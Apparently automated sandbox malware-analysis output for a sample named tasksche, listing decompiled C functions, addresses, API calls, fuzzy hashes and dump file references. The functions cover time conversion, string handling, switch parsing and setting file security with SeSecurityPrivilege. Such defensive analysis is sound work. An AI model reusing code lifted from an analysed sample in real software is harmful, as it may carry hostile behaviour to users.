Associated: 00000008.00000002.991270425.0000000000435000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991293137.000000000044F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991303236.0000000000452000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_tasksche.jbxd

Similarity

API ID: AllocateHeap_malloc_wcslen
String ID: </p>$</style>$<br>$<style>
API String ID: 4208083856-1200123991
Opcode ID: 84057df06bfe7753af8be449b5ed96cf61f8b1a65555f0712547b90151fa4e6f
Instruction ID: 25e48dc46573b9320602deb0b34776bf62bfe2b29788b043e296d39cf0375d11
Opcode Fuzzy Hash: 84057df06bfe7753af8be449b5ed96cf61f8b1a65555f0712547b90151fa4e6f
Instruction Fuzzy Hash: 69412477645212B5DB315B1998217FA73A69F01754F68401BED81B32C0E76C8EC2C26D

Uniqueness

Uniqueness Score: -1.00%

Function 004113F1 Relevance: 10.6, APIs: 7, Instructions: 134
timeCOMMON

Download Yara Rule

C-Code - Quality: 86%

			E004113F1(long* __ecx, signed int* _a4) {
				struct _FILETIME _v12;
				struct _FILETIME _v20;
				void* _v24;
				struct _FILETIME _v28;
				void* _v32;
				struct _FILETIME _v36;
				struct _SYSTEMTIME _v52;
				struct _SYSTEMTIME _v68;
				struct _SYSTEMTIME _v84;
				void* _t71;
				signed int _t81;
				void* _t84;
				signed int _t113;
				long _t115;
				signed int* _t126;

				_v20.dwLowDateTime =  *__ecx;
				_v20.dwHighDateTime = __ecx[1];
				if(E00409C06() >= 0x600) {
					FileTimeToSystemTime( &_v20,  &_v68);
					SystemTimeToTzSpecificLocalTime(0,  &_v68,  &_v84);
					SystemTimeToFileTime( &_v84,  &_v12);
					SystemTimeToFileTime( &_v68,  &_v28);
					_t115 = _v20.dwHighDateTime;
					asm("adc ecx, ebx");
					_t71 = E0041ABD0(_v12.dwHighDateTime + _t115, 0, 0, 1);
					asm("sbb edx, ebx");
					asm("sbb edx, ebx");
					asm("adc edx, ebx");
					asm("adc edx, ebx");
					_v12.dwLowDateTime = _t71 - _v28.dwLowDateTime + _v12.dwLowDateTime + _v20.dwLowDateTime;
					_v12.dwHighDateTime = _t115;
				} else {
					FileTimeToLocalFileTime( &_v20,  &_v12);
				}
				FileTimeToSystemTime( &_v12,  &_v52);
				_t126 = _a4;
				_t81 = _v52.wDay & 0x0000ffff;
				_t113 = _v52.wMonth & 0x0000ffff;
				_t116 = _v52.wYear & 0x0000ffff;
				_t126[3] = _v52.wHour & 0x0000ffff;
				_t126[2] = _t81;
				_t126[4] = _v52.wMinute & 0x0000ffff;
				_t126[8] = _t81 - 1;
				_t126[5] = _v52.wSecond & 0x0000ffff;
				_t84 = 1;
				 *_t126 = _v52.wYear & 0x0000ffff;
				_t126[1] = _t113;
				_t126[7] = _v52.wDayOfWeek & 0x0000ffff;
				if(_t113 > 1) {
					_a4 = 0x430138;
					while(_t84 <= 0xc) {
						_t126[8] = _t126[8] +  *_a4;
						_a4 =  &(_a4[1]);
						_t84 = _t84 + 1;
						if(_t84 < _t113) {
							continue;
						}
						goto L7;
					}
				}
				L7:
				if(_t113 > 2 && E004113C2(_t116) != 0) {
					_t126[8] = _t126[8] + 1;
				}
				_v52.wMilliseconds = 0;
				SystemTimeToFileTime( &_v52,  &_v36);
				_t126[6] = 0 - _v36.dwLowDateTime + _v12.dwLowDateTime;
				return _v12.dwHighDateTime;
			}

0x004113ff
0x00411402
0x0041141b
0x00411435
0x00411441
0x0041144f
0x00411459
0x0041145b
0x0041146a
0x0041146e
0x0041147d
0x00411486
0x0041148d
0x00411491
0x00411493
0x0041149b
0x0041141d
0x00411425
0x00411425
0x004114a6
0x004114a8
0x004114af
0x004114b3
0x004114b7
0x004114bb
0x004114c2
0x004114c5
0x004114cd
0x004114d2
0x004114d9
0x004114da
0x004114dc
0x004114df
0x004114e4
0x004114e6
0x004114ed
0x004114f7
0x004114fa
0x004114fe
0x00411501
0x00000000
0x00000000
0x00000000
0x00411501
0x004114ed
0x00411503
0x00411506
0x00411512
0x00411512
0x00411517
0x00411523
0x00411538
0x0041153e

APIs

Part of subcall function 00409C06: GetVersionExW.KERNEL32(?), ref: 00409C2B

FileTimeToLocalFileTime.KERNEL32(?,?,?,?), ref: 00411425
FileTimeToSystemTime.KERNEL32(?,?,?,?), ref: 00411435
SystemTimeToTzSpecificLocalTime.KERNEL32(00000000,?,?), ref: 00411441
SystemTimeToFileTime.KERNEL32(?,?), ref: 0041144F
SystemTimeToFileTime.KERNEL32(?,?), ref: 00411459
FileTimeToSystemTime.KERNEL32(?,?,?,00000000,00000000,00000001), ref: 004114A6
SystemTimeToFileTime.KERNEL32(?,?), ref: 00411523

Memory Dump Source

Source File: 00000008.00000002.991127463.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.991115936.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991225031.000000000042A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991254456.0000000000430000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991270425.0000000000435000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991293137.000000000044F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991303236.0000000000452000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_tasksche.jbxd

Similarity

API ID: Time$File$System$Local$SpecificVersion
String ID:
API String ID: 2092733347-0
Opcode ID: b334752188d409053c41308d043ef773f1ba1375d33674074c65fffa3be1e0d1
Instruction ID: 2321c29e0176793db35fe244bdb3b2ca835dfa759224b44d16608c614d02fbda
Opcode Fuzzy Hash: b334752188d409053c41308d043ef773f1ba1375d33674074c65fffa3be1e0d1
Instruction Fuzzy Hash: 40410AB1E00218AFCB14DFA9C8849EEB7F9FF48314B14852FE946E7240D778A945CB64

Uniqueness

Uniqueness Score: -1.00%

Function 0040D92D Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 73
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E0040D92D(intOrPtr* __edi, void* __eflags) {
				char _v5;
				char _v8200;
				void* __ebx;
				void* __esi;
				intOrPtr _t18;
				short* _t28;
				void* _t31;
				signed int _t32;
				void* _t39;
				intOrPtr* _t41;
				short* _t42;
				void* _t43;

				_t41 = __edi;
				E0041AAF0(0x2004);
				_t42 = E0041CF3E(_t31, _t39, __edi, 0x20000);
				if(_t42 == 0) {
					E004063CE(0x4335ac);
				}
				 *_t42 = 0;
				_t32 = 0;
				while(1) {
					_t18 = E0040D781(0,  &_v8200, _t42,  *_t41, 0,  &_v5, 0x1000);
					 *_t41 = _t18;
					if(_t18 == 0) {
						break;
					}
					if( *_t42 != 0 || _v8200 != 0x7b) {
						if(_v8200 == 0x7d || E0041A7AF( &_v8200) + _t32 > 0xfffb) {
							break;
						} else {
							E0041A7C9(_t42,  &_v8200);
							_t32 = E0041A7AF(_t42);
							_t43 = _t43 + 0xc;
							if(_t32 <= 0) {
								L11:
								if(_v5 == 0) {
									E0041A7F7(_t42 + _t32 * 2, L"\r\n");
								}
								continue;
							}
							_t6 = _t32 * 2; // -2
							_t28 = _t42 + _t6 - 2;
							while( *_t28 == 0x20) {
								_t32 = _t32 - 1;
								_t28 = _t28;
								if(_t32 > 0) {
									continue;
								}
								goto L11;
							}
							goto L11;
						}
					} else {
						continue;
					}
				}
				return _t42;
			}

0x0040d92d
0x0040d935
0x0040d946
0x0040d94b
0x0040d952
0x0040d952
0x0040d959
0x0040d95c
0x0040d9d3
0x0040d9e8
0x0040d9ed
0x0040d9f1
0x00000000
0x00000000
0x0040d964
0x0040d978
0x00000000
0x0040d990
0x0040d998
0x0040d9a3
0x0040d9a5
0x0040d9aa
0x0040d9bd
0x0040d9c1
0x0040d9cc
0x0040d9d2
0x00000000
0x0040d9c1
0x0040d9ac
0x0040d9ac
0x0040d9b0
0x0040d9b6
0x0040d9b8
0x0040d9bb
0x00000000
0x00000000
0x00000000
0x0040d9bb
0x00000000
0x0040d9b0
0x00000000
0x00000000
0x00000000
0x0040d964
0x0040d9fc

APIs

_malloc.LIBCMT ref: 0040D941

Part of subcall function 0041CF3E: __FF_MSGBANNER.LIBCMT ref: 0041CF61
Part of subcall function 0041CF3E: __NMSG_WRITE.LIBCMT ref: 0041CF68
Part of subcall function 0041CF3E: RtlAllocateHeap.NTDLL(00000000,-0000000F,00000001,00000000,00000000,?,004212F4,00000000,00000001,00000000,?,0041EF2D,00000018,0042D930,0000000C,0041EFBE), ref: 0041CFB5

_wcslen.LIBCMT ref: 0040D981
_wcscat.LIBCMT ref: 0040D998
_wcslen.LIBCMT ref: 0040D99E
_wcscpy.LIBCMT ref: 0040D9CC

Strings

}, xrefs: 0040D970

Memory Dump Source

Source File: 00000008.00000002.991127463.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.991115936.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991225031.000000000042A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991254456.0000000000430000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991270425.0000000000435000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991293137.000000000044F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991303236.0000000000452000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_tasksche.jbxd

Similarity

API ID: _wcslen$AllocateHeap_malloc_wcscat_wcscpy
String ID: }
API String ID: 2020890722-4239843852
Opcode ID: 87a1d4075c0fbabaaf42ee75a1288eb88e4c448287557cbd43c96a9187b86b14
Instruction ID: a9b9a9eb170ff11f00d7125a4cd00596761e48c06437fb6caf1dcbb108c8f9f0
Opcode Fuzzy Hash: 87a1d4075c0fbabaaf42ee75a1288eb88e4c448287557cbd43c96a9187b86b14
Instruction Fuzzy Hash: 6111B771D0131A59EB25ABE08CC57DB72B8DF00354F10007BE645E22D1EBBC9A99C39D

Uniqueness

Uniqueness Score: -1.00%

Function 00411541 Relevance: 9.1, APIs: 6, Instructions: 104
timeCOMMON

Download Yara Rule

C-Code - Quality: 69%

			E00411541(signed int* __ecx, intOrPtr* _a4) {
				struct _FILETIME _v12;
				struct _FILETIME _v20;
				void* _v24;
				struct _FILETIME _v28;
				struct _SYSTEMTIME _v44;
				struct _SYSTEMTIME _v60;
				struct _SYSTEMTIME _v76;
				int _t52;
				void* _t67;
				long _t71;
				signed int* _t75;
				signed int _t84;
				intOrPtr* _t86;
				intOrPtr _t87;

				_t86 = _a4;
				_v44.wYear =  *_t86;
				_t3 = _t86 + 4; // 0xffec8b55
				_v44.wMonth =  *_t3;
				_t5 = _t86 + 8; // 0x75ff1c75
				_v44.wDay =  *_t5;
				_t7 = _t86 + 0xc; // 0x1475ff18
				_v44.wHour =  *_t7;
				_t9 = _t86 + 0x10; // 0xff1075ff
				_v44.wMinute =  *_t9;
				_t11 = _t86 + 0x14; // 0x75ff0c75
				_v44.wSecond =  *_t11;
				_v44.wMilliseconds = 0;
				_t75 = __ecx;
				_t52 = SystemTimeToFileTime( &_v44,  &_v12);
				if(_t52 == 0) {
					 *_t75 =  *_t75 & 0x00000000;
					_t75[1] = _t75[1] & 0x00000000;
					return _t52;
				}
				_t16 = _t86 + 0x18; // 0xd00ae808
				_t87 =  *_t16;
				_v12.dwLowDateTime = _v12.dwLowDateTime + _t87;
				if(_v12.dwLowDateTime < _t87) {
					_v12.dwHighDateTime = _v12.dwHighDateTime + 1;
				}
				if(E00409C06() >= 0x600) {
					FileTimeToSystemTime( &_v12,  &_v60);
					__imp__TzSpecificLocalTimeToSystemTime(0,  &_v60,  &_v76);
					SystemTimeToFileTime( &_v76,  &_v20);
					SystemTimeToFileTime( &_v60,  &_v28);
					_t84 = _v12.dwHighDateTime;
					asm("adc ecx, esi");
					_t67 = E0041ABD0(_v20.dwHighDateTime + _t84, 0, 0, 1);
					asm("sbb edx, esi");
					asm("sbb edx, esi");
					asm("adc edx, esi");
					_t71 = _t67 - _v28.dwLowDateTime + _v20.dwLowDateTime + _v12.dwLowDateTime;
					asm("adc edx, esi");
				} else {
					LocalFileTimeToFileTime( &_v12,  &_v20);
					_t84 = _v20.dwHighDateTime;
					_t71 = _v20.dwLowDateTime;
				}
				 *_t75 = _t71;
				_t75[1] = _t84;
				return _t71;
			}

0x00411549
0x0041154f
0x00411553
0x00411557
0x0041155b
0x0041155f
0x00411563
0x00411567
0x0041156b
0x0041156f
0x00411573
0x00411577
0x00411584
0x00411590
0x00411592
0x00411596
0x00411642
0x00411645
0x00000000
0x00411645
0x0041159c
0x0041159c
0x0041159f
0x004115a5
0x004115a7
0x004115a7
0x004115b4
0x004115d4
0x004115e4
0x004115f2
0x004115fc
0x004115fe
0x0041160d
0x00411611
0x00411620
0x00411629
0x00411630
0x00411632
0x00411634
0x004115b6
0x004115be
0x004115c4
0x004115c7
0x004115c7
0x0041163b
0x0041163d
0x00000000

APIs

SystemTimeToFileTime.KERNEL32(?,004116A7,?,?), ref: 00411592
LocalFileTimeToFileTime.KERNEL32(004116A7,?), ref: 004115BE
FileTimeToSystemTime.KERNEL32(004116A7,?), ref: 004115D4
TzSpecificLocalTimeToSystemTime.KERNEL32(00000000,?,?), ref: 004115E4
SystemTimeToFileTime.KERNEL32(?,?), ref: 004115F2
SystemTimeToFileTime.KERNEL32(?,?), ref: 004115FC

Memory Dump Source

Source File: 00000008.00000002.991127463.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.991115936.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991225031.000000000042A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991254456.0000000000430000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991270425.0000000000435000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991293137.000000000044F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991303236.0000000000452000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_tasksche.jbxd

Similarity

API ID: Time$File$System$Local$Specific
String ID:
API String ID: 3144155402-0
Opcode ID: f90245df41cc322dafe52bf530a12eef1bc8a67292351d8d3269b2ac88901438
Instruction ID: daaaa78088cd12f13caf2716ff388f37494b9d87aa27411613d97d80370a29eb
Opcode Fuzzy Hash: f90245df41cc322dafe52bf530a12eef1bc8a67292351d8d3269b2ac88901438
Instruction Fuzzy Hash: 92313276D001199BCB14DFD4C840AEFB7B9FF48710F04452AE946E3250E634A945CBA9

Uniqueness

Uniqueness Score: -1.00%

Function 0041DD85 Relevance: 9.0, APIs: 6, Instructions: 49
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 90%

			E0041DD85(void* __ebx, intOrPtr __ecx, void* __edx, void* __edi, void* __esi, void* __eflags) {
				intOrPtr _t48;
				intOrPtr _t57;
				void* _t58;
				void* _t61;

				_t61 = __eflags;
				_t53 = __edx;
				_push(0x2c);
				_push(0x42d800);
				E0041FA9C(__ebx, __edi, __esi);
				_t48 = __ecx;
				_t55 =  *((intOrPtr*)(_t58 + 0xc));
				_t57 =  *((intOrPtr*)(_t58 + 8));
				 *((intOrPtr*)(_t58 - 0x1c)) = __ecx;
				 *(_t58 - 0x34) =  *(_t58 - 0x34) & 0x00000000;
				 *((intOrPtr*)(_t58 - 0x24)) =  *((intOrPtr*)( *((intOrPtr*)(_t58 + 0xc)) - 4));
				 *((intOrPtr*)(_t58 - 0x28)) = E0041A3D6(_t58 - 0x3c,  *((intOrPtr*)(_t57 + 0x18)));
				 *((intOrPtr*)(_t58 - 0x2c)) =  *((intOrPtr*)(E0041E9B4(__ecx, __edx, _t55, _t61) + 0x88));
				 *((intOrPtr*)(_t58 - 0x30)) =  *((intOrPtr*)(E0041E9B4(_t48, __edx, _t55, _t61) + 0x8c));
				 *((intOrPtr*)(E0041E9B4(_t48, _t53, _t55, _t61) + 0x88)) = _t57;
				 *((intOrPtr*)(E0041E9B4(_t48, _t53, _t55, _t61) + 0x8c)) =  *((intOrPtr*)(_t58 + 0x10));
				 *(_t58 - 4) =  *(_t58 - 4) & 0x00000000;
				 *((intOrPtr*)(_t58 + 0x10)) = 1;
				 *(_t58 - 4) = 1;
				 *((intOrPtr*)(_t58 - 0x1c)) = E0041A47B(_t55,  *((intOrPtr*)(_t58 + 0x14)), _t48,  *((intOrPtr*)(_t58 + 0x18)),  *((intOrPtr*)(_t58 + 0x1c)));
				 *(_t58 - 4) =  *(_t58 - 4) & 0x00000000;
				 *(_t58 - 4) = 0xfffffffe;
				 *((intOrPtr*)(_t58 + 0x10)) = 0;
				E0041DEAB(_t48, _t53, _t55, _t57, _t61);
				return E0041FAE1( *((intOrPtr*)(_t58 - 0x1c)));
			}

0x0041dd85
0x0041dd85
0x0041dd85
0x0041dd87
0x0041dd8c
0x0041dd91
0x0041dd93
0x0041dd96
0x0041dd99
0x0041dd9c
0x0041dda3
0x0041ddb4
0x0041ddc2
0x0041ddd0
0x0041ddd8
0x0041dde6
0x0041ddec
0x0041ddf3
0x0041ddf6
0x0041de0c
0x0041de0f
0x0041de84
0x0041de8b
0x0041de92
0x0041de9f

APIs

__CreateFrameInfo.LIBCMT ref: 0041DDAD

Part of subcall function 0041A3D6: __getptd.LIBCMT ref: 0041A3E4
Part of subcall function 0041A3D6: __getptd.LIBCMT ref: 0041A3F2

__getptd.LIBCMT ref: 0041DDB7

Part of subcall function 0041E9B4: __getptd_noexit.LIBCMT ref: 0041E9B7
Part of subcall function 0041E9B4: __amsg_exit.LIBCMT ref: 0041E9C4

__getptd.LIBCMT ref: 0041DDC5
__getptd.LIBCMT ref: 0041DDD3
__getptd.LIBCMT ref: 0041DDDE
_CallCatchBlock2.LIBCMT ref: 0041DE04

Part of subcall function 0041A47B: __CallSettingFrame@12.LIBCMT ref: 0041A4C7

Part of subcall function 0041DEAB: __getptd.LIBCMT ref: 0041DEBA
Part of subcall function 0041DEAB: __getptd.LIBCMT ref: 0041DEC8

Memory Dump Source

Source File: 00000008.00000002.991127463.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.991115936.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991225031.000000000042A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991254456.0000000000430000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991270425.0000000000435000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991293137.000000000044F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991303236.0000000000452000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_tasksche.jbxd

Similarity

API ID: __getptd$Call$Block2CatchCreateFrameFrame@12InfoSetting__amsg_exit__getptd_noexit
String ID:
API String ID: 1602911419-0
Opcode ID: 5eb10d2cb4eb5e2da6c5453d1fe4c56248c4e16d68a7da2668f442ad0aab7930
Instruction ID: e3df1943845817192d3dafa627097d3dc4affc0cfff12b6418408f9c93a4c95a
Opcode Fuzzy Hash: 5eb10d2cb4eb5e2da6c5453d1fe4c56248c4e16d68a7da2668f442ad0aab7930
Instruction Fuzzy Hash: 9E1126B1D00209DFDF00EFA1C445AED7BB0FF04318F10806AF854AB251DB389A519B59

Uniqueness

Uniqueness Score: -1.00%

Function 0040D64B Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 88
COMMON

Download Yara Rule

C-Code - Quality: 53%

			E0040D64B(void* __eflags, intOrPtr _a4) {
				signed int _v8;
				char _v2050;
				signed int _v2052;
				signed short _v2054;
				char _v2056;
				void* __ebx;
				void* _t19;
				void* _t21;
				void* _t24;
				void* _t27;
				void* _t30;
				WCHAR* _t36;
				void* _t37;
				void* _t38;

				_v8 = _v8 & 0x00000000;
				_t19 = E00410C58(__eflags, _a4,  &_v2056, 0x400);
				_t45 = _t19;
				if(_t19 == 0) {
					return _t19;
				} else {
					do {
						_v8 = _v8 + 1;
						if(_v8 != 1 && (_v2056 == 0x2f || _v2056 == 0x2d)) {
							_t24 = CharUpperW(_v2054 & 0x0000ffff) - 0x44;
							if(_t24 == 0) {
								_push(0x800);
								_push( &_v2052);
								_push(0x44187a);
								L22:
								E00410B9C();
								goto L23;
							}
							_t27 = _t24 - 1;
							if(_t27 == 0) {
								__eflags = CharUpperW(_v2052 & 0x0000ffff) - 0x4c;
								if(__eflags == 0) {
									__eflags = _v2050;
									if(__eflags == 0) {
										 *0x441879 = 1;
									}
								}
								goto L23;
							}
							_t30 = _t27 - 0xb;
							if(_t30 == 0) {
								E0040D033(0x800, 0x44387a,  &_v2052);
								goto L23;
							}
							if(_t30 != 3) {
								goto L23;
							}
							_t36 = CharUpperW(_v2052 & 0x0000ffff);
							if(_t36 == 0) {
								L15:
								 *0x441874 = 1;
								L16:
								 *0x44184a = 1;
								goto L23;
							}
							_t37 = _t36 - 0x31;
							if(_t37 == 0) {
								goto L15;
							}
							_t38 = _t37 - 1;
							if(_t38 == 0) {
								 *0x441874 = 2;
								goto L16;
							}
							_t59 = _t38 != 0x1e;
							if(_t38 != 0x1e) {
								goto L23;
							}
							_push(0x800);
							_push( &_v2050);
							_push(0x44287a);
							goto L22;
						}
						L23:
						_t21 = E00410C58(_t59, _t45,  &_v2056, 0x400);
						_t45 = _t21;
					} while (_t21 != 0);
					return _t21;
				}
			}

0x0040d654
0x0040d66a
0x0040d66f
0x0040d673
0x0040d77e
0x0040d679
0x0040d67f
0x0040d67f
0x0040d686
0x0040d6b1
0x0040d6b4
0x0040d750
0x0040d757
0x0040d758
0x0040d75d
0x0040d75d
0x00000000
0x0040d75d
0x0040d6ba
0x0040d6bb
0x0040d738
0x0040d73b
0x0040d73d
0x0040d745
0x0040d747
0x0040d747
0x0040d745
0x00000000
0x0040d73b
0x0040d6bd
0x0040d6c0
0x0040d724
0x00000000
0x0040d724
0x0040d6c5
0x00000000
0x00000000
0x0040d6d8
0x0040d6db
0x0040d705
0x0040d705
0x0040d70f
0x0040d70f
0x00000000
0x0040d70f
0x0040d6dd
0x0040d6e0
0x00000000
0x00000000
0x0040d6e2
0x0040d6e3
0x0040d6f9
0x00000000
0x0040d6f9
0x0040d6e5
0x0040d6e8
0x00000000
0x00000000
0x0040d6ea
0x0040d6f1
0x0040d6f2
0x00000000
0x0040d6f2
0x0040d762
0x0040d76b
0x0040d770
0x0040d772
0x00000000
0x0040d77a

APIs

CharUpperW.USER32(?,?,?,?,00000400), ref: 0040D6AC
CharUpperW.USER32(?,?,?,?,?,00000400), ref: 0040D6D3

Strings

z8D, xrefs: 0040D71F
-, xrefs: 0040D696

Memory Dump Source

Source File: 00000008.00000002.991127463.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.991115936.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991225031.000000000042A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991254456.0000000000430000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991270425.0000000000435000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991293137.000000000044F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991303236.0000000000452000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_tasksche.jbxd

Similarity

API ID: CharUpper
String ID: -$z8D
API String ID: 9403516-4016828469
Opcode ID: 6e6643a8c5453ab08bb62a8daeba662149a01c951e73f69a55f52de3d79d5015
Instruction ID: 6cb870ea5eaa954c7fe556a8e422e29c236d8a0fbf71e72dd1f5d8a9bc66e192
Opcode Fuzzy Hash: 6e6643a8c5453ab08bb62a8daeba662149a01c951e73f69a55f52de3d79d5015
Instruction Fuzzy Hash: FE21A5B9C0011995DB60B7E98D48BBB66A8FB41304F144177E548B32D2EA7CDECC8B6D

Uniqueness

Uniqueness Score: -1.00%

Function 0040680A Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 84
COMMON

Download Yara Rule

C-Code - Quality: 84%

			E0040680A(void* __ebx, void* __edx, void* __edi) {
				void* __esi;
				int _t24;
				int _t26;
				void* _t29;
				int _t32;
				void* _t34;
				struct _SECURITY_DESCRIPTOR* _t35;
				void* _t42;
				long _t43;
				struct _SECURITY_DESCRIPTOR* _t45;
				void* _t47;
				struct _SECURITY_DESCRIPTOR* _t51;

				_t42 = __edi;
				_t34 = __ebx;
				E0041A4DC(E004294DA, _t47);
				E0041AAF0(0x1010);
				_t45 = 0;
				 *(_t47 - 0x1c) = 0;
				 *((intOrPtr*)(_t47 - 0x18)) = 0;
				 *((intOrPtr*)(_t47 - 0x14)) = 0;
				 *((intOrPtr*)(_t47 - 0x10)) = 0;
				_push(0);
				_push(_t47 - 0x1c);
				 *((intOrPtr*)(_t47 - 4)) = 0;
				_t24 = E00402C8B( *((intOrPtr*)(_t47 + 8)), __edx);
				if(_t24 != 0) {
					__eflags =  *0x4335a2;
					if( *0x4335a2 == 0) {
						_t32 = E00406553(L"SeSecurityPrivilege");
						__eflags = _t32;
						if(_t32 != 0) {
							 *0x4335a1 = 1;
						}
						E00406553(L"SeRestorePrivilege");
						 *0x4335a2 = 1;
					}
					__eflags =  *0x4335a1;
					_push(_t34);
					_push(_t42);
					_t43 = 7;
					if( *0x4335a1 != 0) {
						_t43 = 0xf;
					}
					_t35 =  *(_t47 - 0x1c);
					_t45 = SetFileSecurityW;
					_t24 = SetFileSecurityW( *(_t47 + 0xc), _t43, _t35);
					__eflags = _t24;
					if(_t24 == 0) {
						_t26 = E0040A3DC( *(_t47 + 0xc), _t47 - 0x101c, 0x800);
						__eflags = _t26;
						if(_t26 == 0) {
							L11:
							_t28 =  *((intOrPtr*)(_t47 + 8)) + 0x1e;
							__eflags =  *((intOrPtr*)(_t47 + 8)) + 0x1e;
							_t29 = E0040639F(0x4f, _t28,  *(_t47 + 0xc));
							_t45 = 0x4335ac;
							E00401000(_t29);
							_t24 = E004062BA(0x4335ac, 1);
						} else {
							_t24 = SetFileSecurityW(_t47 - 0x101c, _t43, _t35);
							__eflags = _t24;
							if(_t24 == 0) {
								goto L11;
							}
						}
					}
					__eflags =  *(_t47 - 0x1c);
					_pop(_t42);
					_pop(_t34);
				} else {
					_t51 =  *(_t47 - 0x1c);
				}
				if(_t51 != 0) {
					_push( *(_t47 - 0x1c));
					_t24 = E0041A506(_t34, _t42, _t45, _t51);
				}
				 *[fs:0x0] =  *((intOrPtr*)(_t47 - 0xc));
				return _t24;
			}

0x0040680a
0x0040680a
0x0040680f
0x00406819
0x0040681f
0x00406821
0x00406824
0x00406827
0x0040682a
0x00406830
0x00406834
0x00406835
0x00406838
0x0040683f
0x00406849
0x00406850
0x00406857
0x0040685c
0x0040685e
0x00406860
0x00406860
0x0040686c
0x00406871
0x00406871
0x00406878
0x0040687f
0x00406880
0x00406883
0x00406884
0x00406888
0x00406888
0x00406889
0x0040688c
0x00406897
0x00406899
0x0040689b
0x004068ac
0x004068b1
0x004068b3
0x004068c4
0x004068ca
0x004068ca
0x004068d0
0x004068d5
0x004068dc
0x004068e5
0x004068b5
0x004068be
0x004068c0
0x004068c2
0x00000000
0x00000000
0x004068c2
0x004068b3
0x004068ea
0x004068ee
0x004068ef
0x00406841
0x00406841
0x00406841
0x004068f0
0x004068f2
0x004068f5
0x004068fa
0x004068ff
0x00406907

APIs

__EH_prolog.LIBCMT ref: 0040680F

Part of subcall function 00402C8B: __EH_prolog.LIBCMT ref: 00402C90

SetFileSecurityW.ADVAPI32(00000000,00000007,?,?,?,?,00000000,?,00406EF5,?,?,?,?,0040773A,?,?), ref: 00406897
SetFileSecurityW.ADVAPI32(?,00000007,?,00000000,?,00000800,?,0040773A,?,?,?,?,?,00000000,0040839C,?), ref: 004068BE

Strings

SeSecurityPrivilege, xrefs: 00406852
SeRestorePrivilege, xrefs: 00406867

Memory Dump Source

Source File: 00000008.00000002.991127463.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.991115936.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991225031.000000000042A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991254456.0000000000430000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991270425.0000000000435000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991293137.000000000044F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991303236.0000000000452000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_tasksche.jbxd

Similarity

API ID: FileH_prologSecurity
String ID: SeRestorePrivilege$SeSecurityPrivilege
API String ID: 2167059215-639343689
Opcode ID: 668843457d3f320ef4c041a0620e582976ae6b8cc17d27ec4e60122bb8f86131
